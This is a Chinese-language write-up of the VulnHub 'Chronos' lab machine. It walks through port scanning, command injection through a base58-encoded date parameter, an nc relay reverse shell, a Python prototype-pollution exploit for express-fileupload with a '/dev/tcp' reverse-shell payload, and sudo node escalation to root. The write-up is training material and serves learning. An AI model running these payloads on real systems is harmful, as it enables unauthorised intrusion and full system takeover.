当前位置: 首页 > article >正文

Time-vulnhub打靶-Chronos

杜彬,Time, vulnhub-Chronos

打靶训练针对的知识点:

端口扫描     WEB侦查     命令注入
 
数据编解码    搜索大法    框架漏洞利用
 
代码审计     NC串联       本地提权

打靶目标: 取得 2 个 flag + root 权限

一:信息收集

1,主机发现

![](https://i-blog.csdnimg.cn/img_convert/01ea936f3c4fda432a653bd71333ce5a.png)

kali攻击机的ip地址是192.168.56.102,但是我们现在并不知道目标靶机的ip地址,所以我们第一目标就是找到目标靶机的ip地址,也就是主机发现

NumLock

2.端口扫描

这里我们成功知道了目标的ip地址为**192.168.56.103**,所以我们先用**namp扫描工具**对目标开启的端口和服务进行探测,扫描命令如下

nmap -A 192.168.56.103

可以看到目标开启了22端口,对应着ssh服务,还开启了80端口和8000端口,对应着http服务80端口的http服务是通过乌班图系统搭建,而8000端口的服务则是通过node.js搭建,因为ssh需要账密,所以我们先去访问目标的网页看能不能从web端入手

3.web侦察

目标的**80端口**和**8000端口**都是http服务,所以我们依次访问一下试试,先浏览器访问目标的**80端口**,页面如下

看看页面源码开发者工具,如果没什么结果的话就去进行目录爬取,页面源码如下

在源码中发现使用了一段js脚本,将脚本复制到本地进行分析

4.数据编解码

![](https://i-blog.csdnimg.cn/img_convert/c0ecdd6fca72c5c95cb653009584ed52.png)

将上面的js代码复制下来查看后,发现这段代码中有大量的形如“0x16b66”的数据,说明经过了大量的编码,所以我们第一件事应该是将这段数据解码来整理,美化这段代码

使用在线解码工具CyberChef

https://cyberchef.org/

页面如下,左侧是代码处理的模块,有几百种,将要用到的代码处理的模块放到Recipe框中,将要处理的代码放到input中,结果就会显示在output中

仔细观察美化后的代码,发现了这样一句

http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL

chronos就是这台靶机的名字,local就是本地的意思,而后面开启了8000端口,而最开始我们对靶机进行端口扫描时靶机就开启了8000端口,所以我们猜测chronos.local指向的ip地址就是目标靶机的ip

访问不到,那说明什么呢?说明这个域名只在目标靶机上能被正常解析为ip,即搭建在了目标靶机上,那我们就可以通过修改主机的host文件来访问该域名

Hosts文件是一种在计算机网络中存储主机名与IP地址对应关系的文本文件。通过配置Hosts文件,可以避免在网络环境中DNS无法正常解析时,出现无法访问互联网的问题。

位置

/etc/hosts

此时再访问chronos.local,结果如下

chronos.local这个域名对应着目标的ip地址

二、渗透流程

1、命令执行漏洞

我们只是做了一个域名与ip的绑定操作,为什么会新出现一段字并显示出当前时间,这说明这个网页通过域名获取了资源,那我们直接抓包看看是什么情况

可以看到发送了三个数据包,其中一个请求的网页正是我们最开始在脚本中找到的网址,而且响应包中返回了当前时间,那么我们把这个数据包发到reperter模块继续观察

当我们尝试把format的参数改掉后,就不能正确返回当前日期了

我们将参数进行一下解码看看,我们选择magic模块,该模块会自动识别编码类型并进行解码

可以看到是base58编码

看到这段代码我就想起了kali的date命令

所以我们大胆的猜测一下参数format的值就是加在date命令后的,而date又是系统命令,就很有可能存在命令执行

base58编码进行测试

可以看到命令成功执行

既然存在命令执行漏洞,那我们看看能不能反弹shell,反弹shell最常用的就是nc所以我们可以先看看该目标主机的bin目录下有没有nc

5H77UDUtonCv1VbB617Za6BYECmuPVgQ9G7gWGjmswYscbm9hwpLwKo65N4YLcm

存在nc,但是不知道这个nc的版本

2、nc反弹shell

先来测试nc是否能够正常运行,即与我们kali开启的端口进行最基本的连接

'+Today is %A, %B %d, %Y %H:%M:%S.' && nc 192.168.56.102 5555

成功但执行命令没有回显,大概率是没有-e这个参数

使用nc串联

nc 192.168.56.103 5555|/bin/bash |nc 192.168.56.103 6666
将5555端口执行的命令通过/bin/bash 在6666端口显示

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

www-data权限

可以看到存在一个imera用户,并且该用户文件下还存在一个user.txt的文件,但是我们现在没有权限访问,访问的话至少都需要imera用户的权限,所以又来到了提权

3、权限提升途径

[1]、基于内核漏洞提权

查看内核版本,去网上查是否存在相关漏洞
uname -a

[2]、suid权限配置错误

[3]、sudo配置漏洞

```plain sudo -l ```

上面的全没有,这时候就要进行大量的信息收集

这个目录应该就是网页的源码目录,但是并没有什么php,jsp,python等等的文件,说明这个网站的编写语言就是js,而我们通常对js的认知就是运行在浏览器的前端代码,而不会认为是用来写服务端应用程序的,但其实node.js就可以实现用javascript语言来编写web应用程序的功能

不会直接网上搜索

node.js技术就是用于利用javascript代码在服务器上搭建web应用程序,而且这样搭建出来的web应用程序有很多独有的优势,比如非阻塞机制,异步输入输出之类的模型,使得这些web应用程序在处理某些特定程序时性能大大提高,并且通常都是基于一些已有的框架和库来进行开发,而express.js库是基于web应用开发使用的最多的

查看了package.json,里面含有**大量重要配置信息,**app.js存在命令执行的地方

在上一级目录发现了chronosweb应用和chronos-v2web应用,还是root权限

可以看到存在一个主页面和前端文件,后端文件,我们先进入后端文件看看

发现四个文件

node_modules package.json package-lock.json server.js

继续查看package.json

再看一下server是一个文件上传

但它这个文件上传,建立在127.0.0.1的8080端口上,也就是本机上,但是这段代码也没有什么明确的漏洞点

找了找express-fileupload这个模块存在的一个原型污染漏洞

这个漏洞,processNested功能必须开启

是开启的

4、node.js原型污染漏洞

```plain import requests

cmd = ‘bash -c “bash -i &> /dev/tcp/p6.is/8888 0>&1”’

pollute

requests.post(‘http://p6.is:7777’, files = {‘proto.outputFunctionName’: (
None, f"x;console.log(1);process.mainModule.require(‘child_process’).exec(‘{cmd}’);x")})

execute command

requests.get(‘http://p6.is:7777’)


```plain
p6.is/8888 替换为 kali攻击机的ip/监听端口
 
p6.is:7777 替换为 目标ip:目标web应用程序运行端口

开启apache以供我们在目标机器上下载文件

通过wget下载

接下来就在kali上开启8888端口

使用python3执行文件

成功拿下imera权限

成功拿下第一个flag

还是没有root权限,继续提权

这个用户的权限则存在sudo错误配置漏洞

说明我们可以在不需要密码的情况下就可以通过sudo执行npm命令和node命令,

node就是一种类似于java的语言开发环境,我们都知道利用python可以反弹shell,其实java也可以,所以node也可以

sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0,1,2]})'

拿下root权限,再去拿flag

彩蛋

```plain byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK

YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK


base64解码翻译

![](https://i-blog.csdnimg.cn/img_convert/4edc59bd60f80ee7925b7d8df9ba6161.png)

 	


http://www.kler.cn/a/466537.html

相关文章:

  • Jetpack Compose 学习笔记(四)—— CompositionLocal 与主题
  • CSP初赛知识学习计划(第三天)
  • Linux vi/vim 编辑器:功能强大的文本处理工具
  • 形象地理解UE4中的数据结构 TLinkedListBase
  • 瑞芯微rk3568平台 openwrt系统适配ffmpeg硬件解码(rkmpp)
  • SMTP发送邮件的过程
  • Golang的容器化技术深入
  • linux-25 文件管理(三)复制、移动文件,cp,mv
  • Springboot日志打印、SpringBoot集成Log4j2、异步日志
  • 一、数据库 Sqlite3 资料
  • Linux下部署Redis集群 - 一主二从三哨兵模式
  • 计算机网络•自顶向下方法:链路层编址、ARP协议、以太网
  • U盘格式化工具合集:6个免费的U盘格式化工具
  • 【记录】Angr|Angr 标准库函数替换怎么看哪些库函数被Angr支持?
  • Couchbase是不是MPP数据库
  • 学生管理系统springboot+论文源码调试讲解
  • 【Seed-Labs 2.0】Cross-Site Scripting (XSS) Attack Lab (Web Application: Elgg)
  • Python:爬虫基础《爬取红楼梦》
  • Redis Hash哈希
  • 使用Clion在ubuntu上进行交叉编译,并在Linux上远程编译五子棋
  • ABAQUS三维Voronoi晶体几何建模
  • 多台DHCP服务器时的问题讨论
  • Windmill 实战:快速构建自动化工作流和用户界面
  • Windows安装了pnpm后无法在Vscode中使用
  • AWS S3文件存储工具类
  • PyTorch AMP 混合精度中grad_scaler.py的scale函数解析